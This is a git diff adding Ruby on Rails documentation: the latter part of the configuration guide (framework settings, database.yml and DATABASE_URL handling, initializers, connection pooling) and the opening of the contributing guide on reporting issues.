+* `config.active_record.table_name_prefix` lets you set a global string to be prepended to table names. If you set this to `northwest_`, then the Customer class will look for `northwest_customers` as its table. The default is an empty string.
+
+* `config.active_record.table_name_suffix` lets you set a global string to be appended to table names. If you set this to `_northwest`, then the Customer class will look for `customers_northwest` as its table. The default is an empty string.
+
+* `config.active_record.schema_migrations_table_name` lets you set a string to be used as the name of the schema migrations table.
+
+* `config.active_record.pluralize_table_names` specifies whether Rails will look for singular or plural table names in the database. If set to true (the default), then the Customer class will use the `customers` table. If set to false, then the Customer class will use the `customer` table.
+
+* `config.active_record.default_timezone` determines whether to use `Time.local` (if set to `:local`) or `Time.utc` (if set to `:utc`) when pulling dates and times from the database. The default is `:utc`.
+
+* `config.active_record.schema_format` controls the format for dumping the database schema to a file. The options are `:ruby` (the default) for a database-independent version that depends on migrations, or `:sql` for a set of (potentially database-dependent) SQL statements.
+
+* `config.active_record.timestamped_migrations` controls whether migrations are numbered with serial integers or with timestamps. The default is true, to use timestamps, which are preferred if there are multiple developers working on the same application.
+
+* `config.active_record.lock_optimistically` controls whether Active Record will use optimistic locking and is true by default.
+
+* `config.active_record.cache_timestamp_format` controls the format of the timestamp value in the cache key. Default is `:number`.
+
+* `config.active_record.record_timestamps` is a boolean value which controls whether or not timestamping of `create` and `update` operations on a model occur. The default value is `true`.
+
+* `config.active_record.partial_writes` is a boolean value and controls whether or not partial writes are used (i.e. whether updates only set attributes that are dirty). Note that when using partial writes, you should also use optimistic locking `config.active_record.lock_optimistically` since concurrent updates may write attributes based on a possibly stale read state. The default value is `true`.
+
+* `config.active_record.attribute_types_cached_by_default` sets the attribute types that `ActiveRecord::AttributeMethods` will cache by default on reads. The default is `[:datetime, :timestamp, :time, :date]`.
+
+* `config.active_record.maintain_test_schema` is a boolean value which controls whether Active Record should try to keep your test database schema up-to-date with `db/schema.rb` (or `db/structure.sql`) when you run your tests. The default is true.
+
+* `config.active_record.dump_schema_after_migration` is a flag which
+  controls whether or not schema dump should happen (`db/schema.rb` or
+  `db/structure.sql`) when you run migrations. This is set to false in
+  `config/environments/production.rb` which is generated by Rails. The
+  default value is true if this configuration is not set.
+
+The MySQL adapter adds one additional configuration option:
+
+* `ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans` controls whether Active Record will consider all `tinyint(1)` columns in a MySQL database to be booleans and is true by default.
+
+The schema dumper adds one additional configuration option:
+
+* `ActiveRecord::SchemaDumper.ignore_tables` accepts an array of tables that should _not_ be included in any generated schema file. This setting is ignored unless `config.active_record.schema_format == :ruby`.
+
+### Configuring Action Controller
+
+`config.action_controller` includes a number of configuration settings:
+
+* `config.action_controller.asset_host` sets the host for the assets. Useful when CDNs are used for hosting assets rather than the application server itself.
+
+* `config.action_controller.perform_caching` configures whether the application should perform caching or not. Set to false in development mode, true in production.
+
+* `config.action_controller.default_static_extension` configures the extension used for cached pages. Defaults to `.html`.
+
+* `config.action_controller.default_charset` specifies the default character set for all renders. The default is "utf-8".
+
+* `config.action_controller.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Controller. Set to `nil` to disable logging.
+
+* `config.action_controller.request_forgery_protection_token` sets the token parameter name for RequestForgery. Calling `protect_from_forgery` sets it to `:authenticity_token` by default.
+
+* `config.action_controller.allow_forgery_protection` enables or disables CSRF protection. By default this is `false` in test mode and `true` in all other modes.
+
+* `config.action_controller.relative_url_root` can be used to tell Rails that you are [deploying to a subdirectory](configuring.html#deploy-to-a-subdirectory-relative-url-root). The default is `ENV['RAILS_RELATIVE_URL_ROOT']`.
+
+* `config.action_controller.permit_all_parameters` sets all the parameters for mass assignment to be permitted by default. The default value is `false`.
+
+* `config.action_controller.action_on_unpermitted_parameters` enables logging or raising an exception if parameters that are not explicitly permitted are found. Set to `:log` or `:raise` to enable. The default value is `:log` in development and test environments, and `false` in all other environments.
+
+### Configuring Action Dispatch
+
+* `config.action_dispatch.session_store` sets the name of the store for session data. The default is `:cookie_store`; other valid options include `:active_record_store`, `:mem_cache_store` or the name of your own custom class.
+
+* `config.action_dispatch.default_headers` is a hash with HTTP headers that are set by default in each response. By default, this is defined as:
+
+    ```ruby
+    config.action_dispatch.default_headers = {
+      'X-Frame-Options' => 'SAMEORIGIN',
+      'X-XSS-Protection' => '1; mode=block',
+      'X-Content-Type-Options' => 'nosniff'
+    }
+    ```
+
+* `config.action_dispatch.tld_length` sets the TLD (top-level domain) length for the application. Defaults to `1`.
+
+* `config.action_dispatch.http_auth_salt` sets the HTTP Auth salt value. Defaults
+to `'http authentication'`.
+
+* `config.action_dispatch.signed_cookie_salt` sets the signed cookies salt value.
+Defaults to `'signed cookie'`.
+
+* `config.action_dispatch.encrypted_cookie_salt` sets the encrypted cookies salt
+value. Defaults to `'encrypted cookie'`.
+
+* `config.action_dispatch.encrypted_signed_cookie_salt` sets the signed
+encrypted cookies salt value. Defaults to `'signed encrypted cookie'`.
+
+* `config.action_dispatch.perform_deep_munge` configures whether `deep_munge`
+  method should be performed on the parameters. See [Security Guide](security.html#unsafe-query-generation)
+  for more information. It defaults to true.
+
+* `ActionDispatch::Callbacks.before` takes a block of code to run before the request.
+
+* `ActionDispatch::Callbacks.to_prepare` takes a block to run after `ActionDispatch::Callbacks.before`, but before the request. Runs for every request in `development` mode, but only once for `production` or environments with `cache_classes` set to `true`.
+
+* `ActionDispatch::Callbacks.after` takes a block of code to run after the request.
+
+### Configuring Action View
+
+`config.action_view` includes a small number of configuration settings:
+
+* `config.action_view.field_error_proc` provides an HTML generator for displaying errors that come from Active Record. The default is
+
+    ```ruby
+    Proc.new do |html_tag, instance|
+      %Q(<div class="field_with_errors">#{html_tag}</div>).html_safe
+    end
+    ```
+
+* `config.action_view.default_form_builder` tells Rails which form builder to use by default. The default is `ActionView::Helpers::FormBuilder`. If you want your form builder class to be loaded after initialization (so it's reloaded on each request in development), you can pass it as a `String`
+
+* `config.action_view.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action View. Set to `nil` to disable logging.
+
+* `config.action_view.erb_trim_mode` gives the trim mode to be used by ERB. It defaults to `'-'`, which turns on trimming of tail spaces and newline when using `<%= -%>` or `<%= =%>`. See the [Erubis documentation](http://www.kuwata-lab.com/erubis/users-guide.06.html#topics-trimspaces) for more information.
+
+* `config.action_view.embed_authenticity_token_in_remote_forms` allows you to set the default behavior for `authenticity_token` in forms with `:remote => true`. By default it's set to false, which means that remote forms will not include `authenticity_token`, which is helpful when you're fragment-caching the form. Remote forms get the authenticity from the `meta` tag, so embedding is unnecessary unless you support browsers without JavaScript. In such case you can either pass `:authentici [...]
+
+* `config.action_view.prefix_partial_path_with_controller_namespace` determines whether or not partials are looked up from a subdirectory in templates rendered from namespaced controllers. For example, consider a controller named `Admin::PostsController` which renders this template:
+
+    ```erb
+    <%= render @post %>
+    ```
+
+    The default setting is `true`, which uses the partial at `/admin/posts/_post.erb`. Setting the value to `false` would render `/posts/_post.erb`, which is the same behavior as rendering from a non-namespaced controller such as `PostsController`.
+
+* `config.action_view.raise_on_missing_translations` determines whether an error should be raised for missing translations
+
+### Configuring Action Mailer
+
+There are a number of settings available on `config.action_mailer`:
+
+* `config.action_mailer.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Mailer. Set to `nil` to disable logging.
+
+* `config.action_mailer.smtp_settings` allows detailed configuration for the `:smtp` delivery method. It accepts a hash of options, which can include any of these options:
+    * `:address` - Allows you to use a remote mail server. Just change it from its default "localhost" setting.
+    * `:port` - On the off chance that your mail server doesn't run on port 25, you can change it.
+    * `:domain` - If you need to specify a HELO domain, you can do it here.
+    * `:user_name` - If your mail server requires authentication, set the username in this setting.
+    * `:password` - If your mail server requires authentication, set the password in this setting.
+    * `:authentication` - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of `:plain`, `:login`, `:cram_md5`.
+
+* `config.action_mailer.sendmail_settings` allows detailed configuration for the `sendmail` delivery method. It accepts a hash of options, which can include any of these options:
+    * `:location` - The location of the sendmail executable. Defaults to `/usr/sbin/sendmail`.
+    * `:arguments` - The command line arguments. Defaults to `-i -t`.
+
+* `config.action_mailer.raise_delivery_errors` specifies whether to raise an error if email delivery cannot be completed. It defaults to true.
+
+* `config.action_mailer.delivery_method` defines the delivery method and defaults to `:smtp`. See the [configuration section in the Action Mailer guide](http://guides.rubyonrails.org/action_mailer_basics.html#action-mailer-configuration) for more info.
+
+* `config.action_mailer.perform_deliveries` specifies whether mail will actually be delivered and is true by default. It can be convenient to set it to false for testing.
+
+* `config.action_mailer.default_options` configures Action Mailer defaults. Use to set options like `from` or `reply_to` for every mailer. These default to:
+
+    ```ruby
+    mime_version:  "1.0",
+    charset:       "UTF-8",
+    content_type: "text/plain",
+    parts_order:  ["text/plain", "text/enriched", "text/html"]
+    ```
+
+    Assign a hash to set additional options:
+
+    ```ruby
+    config.action_mailer.default_options = {
+      from: "noreply at example.com"
+    }
+    ```
+
+* `config.action_mailer.observers` registers observers which will be notified when mail is delivered.
+
+    ```ruby
+    config.action_mailer.observers = ["MailObserver"]
+    ```
+
+* `config.action_mailer.interceptors` registers interceptors which will be called before mail is sent.
+
+    ```ruby
+    config.action_mailer.interceptors = ["MailInterceptor"]
+    ```
+
+### Configuring Active Support
+
+There are a few configuration options available in Active Support:
+
+* `config.active_support.bare` enables or disables the loading of `active_support/all` when booting Rails. Defaults to `nil`, which means `active_support/all` is loaded.
+
+* `config.active_support.escape_html_entities_in_json` enables or disables the escaping of HTML entities in JSON serialization. Defaults to `false`.
+
+* `config.active_support.use_standard_json_time_format` enables or disables serializing dates to ISO 8601 format. Defaults to `true`.
+
+* `config.active_support.time_precision` sets the precision of JSON encoded time values. Defaults to `3`.
+
+* `ActiveSupport::Logger.silencer` is set to `false` to disable the ability to silence logging in a block. The default is `true`.
+
+* `ActiveSupport::Cache::Store.logger` specifies the logger to use within cache store operations.
+
+* `ActiveSupport::Deprecation.behavior` alternative setter to `config.active_support.deprecation` which configures the behavior of deprecation warnings for Rails.
+
+* `ActiveSupport::Deprecation.silence` takes a block in which all deprecation warnings are silenced.
+
+* `ActiveSupport::Deprecation.silenced` sets whether or not to display deprecation warnings.
+
+
+### Configuring a Database
+
+Just about every Rails application will interact with a database. You can connect to the database by setting an environment variable `ENV['DATABASE_URL']` or by using a configuration file called `config/database.yml`.
+
+Using the `config/database.yml` file you can specify all the information needed to access your database:
+
+```yaml
+development:
+  adapter: postgresql
+  database: blog_development
+  pool: 5
+```
+
+This will connect to the database named `blog_development` using the `postgresql` adapter. This same information can be stored in a URL and provided via an environment variable like this:
+
+```ruby
+> puts ENV['DATABASE_URL']
+postgresql://localhost/blog_development?pool=5
+```
+
+The `config/database.yml` file contains sections for three different environments in which Rails can run by default:
+
+* The `development` environment is used on your development/local computer as you interact manually with the application.
+* The `test` environment is used when running automated tests.
+* The `production` environment is used when you deploy your application for the world to use.
+
+If you wish, you can manually specify a URL inside of your `config/database.yml`
+
+```
+development:
+  url: postgresql://localhost/blog_development?pool=5
+```
+
+The `config/database.yml` file can contain ERB tags `<%= %>`. Anything in the tags will be evaluated as Ruby code. You can use this to pull out data from an environment variable or to perform calculations to generate the needed connection information.
+
+
+TIP: You don't have to update the database configurations manually. If you look at the options of the application generator, you will see that one of the options is named `--database`. This option allows you to choose an adapter from a list of the most used relational databases. You can even run the generator repeatedly: `cd .. && rails new blog --database=mysql`. When you confirm the overwriting of the `config/database.yml` file, your application will be configured for MySQL instead of  [...]
+
+
+### Connection Preference
+
+Since there are two ways to set your connection, via environment variable it is important to understand how the two can interact.
+
+If you have an empty `config/database.yml` file but your `ENV['DATABASE_URL']` is present, then Rails will connect to the database via your environment variable:
+
+```
+$ cat config/database.yml
+
+$ echo $DATABASE_URL
+postgresql://localhost/my_database
+```
+
+If you have a `config/database.yml` but no `ENV['DATABASE_URL']` then this file will be used to connect to your database:
+
+```
+$ cat config/database.yml
+development:
+  adapter: postgresql
+  database: my_database
+  host: localhost
+
+$ echo $DATABASE_URL
+```
+
+If you have both `config/database.yml` and `ENV['DATABASE_URL']` set then Rails will merge the configuration together. To better understand this we must see some examples.
+
+When duplicate connection information is provided the environment variable will take precedence:
+
+```
+$ cat config/database.yml
+development:
+  adapter: sqlite3
+  database: NOT_my_database
+  host: localhost
+
+$ echo $DATABASE_URL
+postgresql://localhost/my_database
+
+$ bin/rails runner 'puts ActiveRecord::Base.connections'
+{"development"=>{"adapter"=>"postgresql", "host"=>"localhost", "database"=>"my_database"}}
+```
+
+Here the adapter, host, and database match the information in `ENV['DATABASE_URL']`.
+
+If non-duplicate information is provided you will get all unique values, environment variable still takes precedence in cases of any conflicts.
+
+```
+$ cat config/database.yml
+development:
+  adapter: sqlite3
+  pool: 5
+
+$ echo $DATABASE_URL
+postgresql://localhost/my_database
+
+$ bin/rails runner 'puts ActiveRecord::Base.connections'
+{"development"=>{"adapter"=>"postgresql", "host"=>"localhost", "database"=>"my_database", "pool"=>5}}
+```
+
+Since pool is not in the `ENV['DATABASE_URL']` provided connection information its information is merged in. Since `adapter` is duplicate, the `ENV['DATABASE_URL']` connection information wins.
+
+The only way to explicitly not use the connection information in `ENV['DATABASE_URL']` is to specify an explicit URL connection using the `"url"` sub key:
+
+```
+$ cat config/database.yml
+development:
+  url: sqlite3:NOT_my_database
+
+$ echo $DATABASE_URL
+postgresql://localhost/my_database
+
+$ bin/rails runner 'puts ActiveRecord::Base.connections'
+{"development"=>{"adapter"=>"sqlite3", "database"=>"NOT_my_database"}}
+```
+
+Here the connection information in `ENV['DATABASE_URL']` is ignored, note the different adapter and database name.
+
+Since it is possible to embed ERB in your `config/database.yml` it is best practice to explicitly show you are using the `ENV['DATABASE_URL']` to connect to your database. This is especially useful in production since you should not commit secrets like your database password into your source control (such as Git).
+
+```
+$ cat config/database.yml
+production:
+  url: <%= ENV['DATABASE_URL'] %>
+```
+
+Now the behavior is clear, that we are only using the connection information in `ENV['DATABASE_URL']`.
+
+#### Configuring an SQLite3 Database
+
+Rails comes with built-in support for [SQLite3](http://www.sqlite.org), which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using an SQLite database when creating a new project, but you can always change it later.
+
+Here's the section of the default configuration file (`config/database.yml`) with connection information for the development environment:
+
+```yaml
+development:
+  adapter: sqlite3
+  database: db/development.sqlite3
+  pool: 5
+  timeout: 5000
+```
+
+NOTE: Rails uses an SQLite3 database for data storage by default because it is a zero configuration database that just works. Rails also supports MySQL and PostgreSQL "out of the box", and has plugins for many database systems. If you are using a database in a production environment Rails most likely has an adapter for it.
+
+#### Configuring a MySQL Database
+
+If you choose to use MySQL instead of the shipped SQLite3 database, your `config/database.yml` will look a little different. Here's the development section:
+
+```yaml
+development:
+  adapter: mysql2
+  encoding: utf8
+  database: blog_development
+  pool: 5
+  username: root
+  password:
+  socket: /tmp/mysql.sock
+```
+
+If your development computer's MySQL installation includes a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the `development` section as appropriate.
+
+#### Configuring a PostgreSQL Database
+
+If you choose to use PostgreSQL, your `config/database.yml` will be customized to use PostgreSQL databases:
+
+```yaml
+development:
+  adapter: postgresql
+  encoding: unicode
+  database: blog_development
+  pool: 5
+  username: blog
+  password:
+```
+
+Prepared Statements can be disabled thus:
+
+```yaml
+production:
+  adapter: postgresql
+  prepared_statements: false
+```
+
+#### Configuring an SQLite3 Database for JRuby Platform
+
+If you choose to use SQLite3 and are using JRuby, your `config/database.yml` will look a little different. Here's the development section:
+
+```yaml
+development:
+  adapter: jdbcsqlite3
+  database: db/development.sqlite3
+```
+
+#### Configuring a MySQL Database for JRuby Platform
+
+If you choose to use MySQL and are using JRuby, your `config/database.yml` will look a little different. Here's the development section:
+
+```yaml
+development:
+  adapter: jdbcmysql
+  database: blog_development
+  username: root
+  password:
+```
+
+#### Configuring a PostgreSQL Database for JRuby Platform
+
+If you choose to use PostgreSQL and are using JRuby, your `config/database.yml` will look a little different. Here's the development section:
+
+```yaml
+development:
+  adapter: jdbcpostgresql
+  encoding: unicode
+  database: blog_development
+  username: blog
+  password:
+```
+
+Change the username and password in the `development` section as appropriate.
+
+### Creating Rails Environments
+
+By default Rails ships with three environments: "development", "test", and "production". While these are sufficient for most use cases, there are circumstances when you want more environments.
+
+Imagine you have a server which mirrors the production environment but is only used for testing. Such a server is commonly called a "staging server". To define an environment called "staging" for this server, just create a file called `config/environments/staging.rb`. Please use the contents of any existing file in `config/environments` as a starting point and make the necessary changes from there.
+
+That environment is no different than the default ones, start a server with `rails server -e staging`, a console with `rails console staging`, `Rails.env.staging?` works, etc.
+
+
+### Deploy to a subdirectory (relative url root)
+
+By default Rails expects that your application is running at the root
+(eg. `/`). This section explains how to run your application inside a directory.
+
+Let's assume we want to deploy our application to "/app1". Rails needs to know
+this directory to generate the appropriate routes:
+
+```ruby
+config.relative_url_root = "/app1"
+```
+
+alternatively you can set the `RAILS_RELATIVE_URL_ROOT` environment
+variable.
+
+Rails will now prepend "/app1" when generating links.
+
+#### Using Passenger
+
+Passenger makes it easy to run your application in a subdirectory. You can find
+the relevant configuration in the
+[passenger manual](http://www.modrails.com/documentation/Users%20guide%20Apache.html#deploying_rails_to_sub_uri).
+
+#### Using a Reverse Proxy
+
+TODO
+
+#### Considerations when deploying to a subdirectory
+
+Deploying to a subdirectory in production has implications on various parts of
+Rails.
+
+* development environment:
+* testing environment:
+* serving static assets:
+* asset pipeline:
+
+Rails Environment Settings
+--------------------------
+
+Some parts of Rails can also be configured externally by supplying environment variables. The following environment variables are recognized by various parts of Rails:
+
+* `ENV["RAILS_ENV"]` defines the Rails environment (production, development, test, and so on) that Rails will run under.
+
+* `ENV["RAILS_RELATIVE_URL_ROOT"]` is used by the routing code to recognize URLs when you [deploy your application to a subdirectory](configuring.html#deploy-to-a-subdirectory-relative-url-root).
+
+* `ENV["RAILS_CACHE_ID"]` and `ENV["RAILS_APP_VERSION"]` are used to generate expanded cache keys in Rails' caching code. This allows you to have multiple separate caches from the same application.
+
+
+Using Initializer Files
+-----------------------
+
+After loading the framework and any gems in your application, Rails turns to loading initializers. An initializer is any Ruby file stored under `config/initializers` in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and gems are loaded, such as options to configure settings for these parts.
+
+NOTE: You can use subfolders to organize your initializers if you like, because Rails will look into the whole file hierarchy from the initializers folder on down.
+
+TIP: If you have any ordering dependency in your initializers, you can control the load order through naming. Initializer files are loaded in alphabetical order by their path. For example, `01_critical.rb` will be loaded before `02_normal.rb`.
+
+Initialization events
+---------------------
+
+Rails has 5 initialization events which can be hooked into (listed in the order that they are run):
+
+* `before_configuration`: This is run as soon as the application constant inherits from `Rails::Application`. The `config` calls are evaluated before this happens.
+
+* `before_initialize`: This is run directly before the initialization process of the application occurs with the `:bootstrap_hook` initializer near the beginning of the Rails initialization process.
+
+* `to_prepare`: Run after the initializers are run for all Railties (including the application itself), but before eager loading and the middleware stack is built. More importantly, will run upon every request in `development`, but only once (during boot-up) in `production` and `test`.
+
+* `before_eager_load`: This is run directly before eager loading occurs, which is the default behavior for the `production` environment and not for the `development` environment.
+
+* `after_initialize`: Run directly after the initialization of the application, after the application initializers in `config/initializers` are run.
+
+To define an event for these hooks, use the block syntax within a `Rails::Application`, `Rails::Railtie` or `Rails::Engine` subclass:
+
+```ruby
+module YourApp
+  class Application < Rails::Application
+    config.before_initialize do
+      # initialization code goes here
+    end
+  end
+end
+```
+
+Alternatively, you can also do it through the `config` method on the `Rails.application` object:
+
+```ruby
+Rails.application.config.before_initialize do
+  # initialization code goes here
+end
+```
+
+WARNING: Some parts of your application, notably routing, are not yet set up at the point where the `after_initialize` block is called.
+
+### `Rails::Railtie#initializer`
+
+Rails has several initializers that run on startup that are all defined by using the `initializer` method from `Rails::Railtie`. Here's an example of the `set_helpers_path` initializer from Action Controller:
+
+```ruby
+initializer "action_controller.set_helpers_path" do |app|
+  ActionController::Helpers.helpers_path = app.helpers_paths
+end
+```
+
+The `initializer` method takes three arguments with the first being the name for the initializer and the second being an options hash (not shown here) and the third being a block. The `:before` key in the options hash can be specified to specify which initializer this new initializer must run before, and the `:after` key will specify which initializer to run this initializer _after_.
+
+Initializers defined using the `initializer` method will be run in the order they are defined in, with the exception of ones that use the `:before` or `:after` methods.
+
+WARNING: You may put your initializer before or after any other initializer in the chain, as long as it is logical. Say you have 4 initializers called "one" through "four" (defined in that order) and you define "four" to go _before_ "four" but _after_ "three", that just isn't logical and Rails will not be able to determine your initializer order.
+
+The block argument of the `initializer` method is the instance of the application itself, and so we can access the configuration on it by using the `config` method as done in the example.
+
+Because `Rails::Application` inherits from `Rails::Railtie` (indirectly), you can use the `initializer` method in `config/application.rb` to define initializers for the application.
+
+### Initializers
+
+Below is a comprehensive list of all the initializers found in Rails in the order that they are defined (and therefore run in, unless otherwise stated).
+
+* `load_environment_hook` Serves as a placeholder so that `:load_environment_config` can be defined to run before it.
+
+* `load_active_support` Requires `active_support/dependencies` which sets up the basis for Active Support. Optionally requires `active_support/all` if `config.active_support.bare` is un-truthful, which is the default.
+
+* `initialize_logger` Initializes the logger (an `ActiveSupport::Logger` object) for the application and makes it accessible at `Rails.logger`, provided that no initializer inserted before this point has defined `Rails.logger`.
+
+* `initialize_cache` If `Rails.cache` isn't set yet, initializes the cache by referencing the value in `config.cache_store` and stores the outcome as `Rails.cache`. If this object responds to the `middleware` method, its middleware is inserted before `Rack::Runtime` in the middleware stack.
+
+* `set_clear_dependencies_hook` Provides a hook for `active_record.set_dispatch_hooks` to use, which will run before this initializer. This initializer - which runs only if `cache_classes` is set to `false` - uses `ActionDispatch::Callbacks.after` to remove the constants which have been referenced during the request from the object space so that they will be reloaded during the following request.
+
+* `initialize_dependency_mechanism` If `config.cache_classes` is true, configures `ActiveSupport::Dependencies.mechanism` to `require` dependencies rather than `load` them.
+
+* `bootstrap_hook` Runs all configured `before_initialize` blocks.
+
+* `i18n.callbacks` In the development environment, sets up a `to_prepare` callback which will call `I18n.reload!` if any of the locales have changed since the last request. In production mode this callback will only run on the first request.
+
+* `active_support.deprecation_behavior` Sets up deprecation reporting for environments, defaulting to `:log` for development, `:notify` for production and `:stderr` for test. If a value isn't set for `config.active_support.deprecation` then this initializer will prompt the user to configure this line in the current environment's `config/environments` file. Can be set to an array of values.
+
+* `active_support.initialize_time_zone` Sets the default time zone for the application based on the `config.time_zone` setting, which defaults to "UTC".
+
+* `active_support.initialize_beginning_of_week` Sets the default beginning of week for the application based on `config.beginning_of_week` setting, which defaults to `:monday`.
+
+* `action_dispatch.configure` Configures the `ActionDispatch::Http::URL.tld_length` to be set to the value of `config.action_dispatch.tld_length`.
+
+* `action_view.set_configs` Sets up Action View by using the settings in `config.action_view` by `send`'ing the method names as setters to `ActionView::Base` and passing the values through.
+
+* `action_controller.logger` Sets `ActionController::Base.logger` - if it's not already set - to `Rails.logger`.
+
+* `action_controller.initialize_framework_caches` Sets `ActionController::Base.cache_store` - if it's not already set - to `Rails.cache`.
+
+* `action_controller.set_configs` Sets up Action Controller by using the settings in `config.action_controller` by `send`'ing the method names as setters to `ActionController::Base` and passing the values through.
+
+* `action_controller.compile_config_methods` Initializes methods for the config settings specified so that they are quicker to access.
+
+* `active_record.initialize_timezone` Sets `ActiveRecord::Base.time_zone_aware_attributes` to true, as well as setting `ActiveRecord::Base.default_timezone` to UTC. When attributes are read from the database, they will be converted into the time zone specified by `Time.zone`.
+
+* `active_record.logger` Sets `ActiveRecord::Base.logger` - if it's not already set - to `Rails.logger`.
+
+* `active_record.set_configs` Sets up Active Record by using the settings in `config.active_record` by `send`'ing the method names as setters to `ActiveRecord::Base` and passing the values through.
+
+* `active_record.initialize_database` Loads the database configuration (by default) from `config/database.yml` and establishes a connection for the current environment.
+
+* `active_record.log_runtime` Includes `ActiveRecord::Railties::ControllerRuntime` which is responsible for reporting the time taken by Active Record calls for the request back to the logger.
+
+* `active_record.set_dispatch_hooks` Resets all reloadable connections to the database if `config.cache_classes` is set to `false`.
+
+* `action_mailer.logger` Sets `ActionMailer::Base.logger` - if it's not already set - to `Rails.logger`.
+
+* `action_mailer.set_configs` Sets up Action Mailer by using the settings in `config.action_mailer` by `send`'ing the method names as setters to `ActionMailer::Base` and passing the values through.
+
+* `action_mailer.compile_config_methods` Initializes methods for the config settings specified so that they are quicker to access.
+
+* `set_load_path` This initializer runs before `bootstrap_hook`. Adds the `vendor`, `lib`, all directories of `app` and any paths specified by `config.load_paths` to `$LOAD_PATH`.
+
+* `set_autoload_paths` This initializer runs before `bootstrap_hook`. Adds all sub-directories of `app` and paths specified by `config.autoload_paths` to `ActiveSupport::Dependencies.autoload_paths`.
+
+* `add_routing_paths` Loads (by default) all `config/routes.rb` files (in the application and railties, including engines) and sets up the routes for the application.
+
+* `add_locales` Adds the files in `config/locales` (from the application, railties and engines) to `I18n.load_path`, making available the translations in these files.
+
+* `add_view_paths` Adds the directory `app/views` from the application, railties and engines to the lookup path for view files for the application.
+
+* `load_environment_config` Loads the `config/environments` file for the current environment.
+
+* `append_asset_paths` Finds asset paths for the application and all attached railties and keeps a track of the available directories in `config.static_asset_paths`.
+
+* `prepend_helpers_path` Adds the directory `app/helpers` from the application, railties and engines to the lookup path for helpers for the application.
+
+* `load_config_initializers` Loads all Ruby files from `config/initializers` in the application, railties and engines. The files in this directory can be used to hold configuration settings that should be made after all of the frameworks are loaded.
+
+* `engines_blank_point` Provides a point-in-initialization to hook into if you wish to do anything before engines are loaded. After this point, all railtie and engine initializers are run.
+
+* `add_generator_templates` Finds templates for generators at `lib/templates` for the application, railties and engines and adds these to the `config.generators.templates` setting, which will make the templates available for all generators to reference.
+
+* `ensure_autoload_once_paths_as_subset` Ensures that the `config.autoload_once_paths` only contains paths from `config.autoload_paths`. If it contains extra paths, then an exception will be raised.
+
+* `add_to_prepare_blocks` The block for every `config.to_prepare` call in the application, a railtie or engine is added to the `to_prepare` callbacks for Action Dispatch which will be run per request in development, or before the first request in production.
+
+* `add_builtin_route` If the application is running under the development environment then this will append the route for `rails/info/properties` to the application routes. This route provides the detailed information such as Rails and Ruby version for `public/index.html` in a default Rails application.
+
+* `build_middleware_stack` Builds the middleware stack for the application, returning an object which has a `call` method which takes a Rack environment object for the request.
+
+* `eager_load!` If `config.eager_load` is true, runs the `config.before_eager_load` hooks and then calls `eager_load!` which will load all `config.eager_load_namespaces`.
+
+* `finisher_hook` Provides a hook for after the initialization of process of the application is complete, as well as running all the `config.after_initialize` blocks for the application, railties and engines.
+
+* `set_routes_reloader` Configures Action Dispatch to reload the routes file using `ActionDispatch::Callbacks.to_prepare`.
+
+* `disable_dependency_loading` Disables the automatic dependency loading if the `config.eager_load` is set to true.
+
+Database pooling
+----------------
+
+Active Record database connections are managed by `ActiveRecord::ConnectionAdapters::ConnectionPool` which ensures that a connection pool synchronizes the amount of thread access to a limited number of database connections. This limit defaults to 5 and can be configured in `database.yml`.
+
+```ruby
+development:
+  adapter: sqlite3
+  database: db/development.sqlite3
+  pool: 5
+  timeout: 5000
+```
+
+Since the connection pooling is handled inside of Active Record by default, all application servers (Thin, mongrel, Unicorn etc.) should behave the same. Initially, the database connection pool is empty and it will create additional connections as the demand for them increases, until it reaches the connection pool limit.
+
+Any one request will check out a connection the first time it requires access to the database, after which it will check the connection back in, at the end of the request, meaning that the additional connection slot will be available again for the next request in the queue.
+
+If you try to use more connections than are available, Active Record will block
+and wait for a connection from the pool. When it cannot get connection, a timeout
+error similar to given below will be thrown.
+
+```ruby
+ActiveRecord::ConnectionTimeoutError - could not obtain a database connection within 5 seconds. The max pool size is currently 5; consider increasing it:
+```
+
+If you get the above error, you might want to increase the size of connection
+pool by incrementing the `pool` option in `database.yml`
+
+NOTE. As Rails is multi-threaded by default, there could be a chance that several threads may be accessing multiple connections simultaneously. So depending on your current request load, you could very well have multiple threads contending for a limited amount of connections.
diff --git a/guides/source/contributing_to_ruby_on_rails.md b/guides/source/contributing_to_ruby_on_rails.md
new file mode 100644
index 0000000..36e3862
--- /dev/null
+++ b/guides/source/contributing_to_ruby_on_rails.md
@@ -0,0 +1,544 @@
+Contributing to Ruby on Rails
+=============================
+
+This guide covers ways in which _you_ can become a part of the ongoing development of Ruby on Rails.
+
+After reading this guide, you will know:
+
+* How to use GitHub to report issues.
+* How to clone master and run the test suite.
+* How to help resolve existing issues.
+* How to contribute to the Ruby on Rails documentation.
+* How to contribute to the Ruby on Rails code.
+
+Ruby on Rails is not "someone else's framework." Over the years, hundreds of people have contributed to Ruby on Rails ranging from a single character to massive architectural changes or significant documentation - all with the goal of making Ruby on Rails better for everyone. Even if you don't feel up to writing code or documentation yet, there are a variety of other ways that you can contribute, from reporting issues to testing patches.
+
+--------------------------------------------------------------------------------
+
+Reporting an Issue
+------------------
+
+Ruby on Rails uses [GitHub Issue Tracking](https://github.com/rails/rails/issues) to track issues (primarily bugs and contributions of new code). If you've found a bug in Ruby on Rails, this is the place to start. You'll need to create a (free) GitHub account in order to submit an issue, to comment on them or to create pull requests.
+
+NOTE: Bugs in the most recent released version of Ruby on Rails are likely to get the most attention. Also, the Rails core team is always interested in feedback from those who can take the time to test _edge Rails_ (the code for the version of Rails that is currently under development). Later in this guide you'll find out how to get edge Rails for testing.
+
+### Creating a Bug Report
+
+If you've found a problem in Ruby on Rails which is not a security risk, do a search in GitHub under [Issues](https://github.com/rails/rails/issues) in case it was already reported. If you find no issue addressing it you can [add a new one](https://github.com/rails/rails/issues/new). (See the next section for reporting security issues.)
+
+At the minimum, your issue report needs a title and descriptive text. But that's only a minimum. You should include as much relevant information as possible. You need at least to post the code sample that has the issue. Even better is to include a unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself - and others - to replicate the bug and figure out a fix.
+
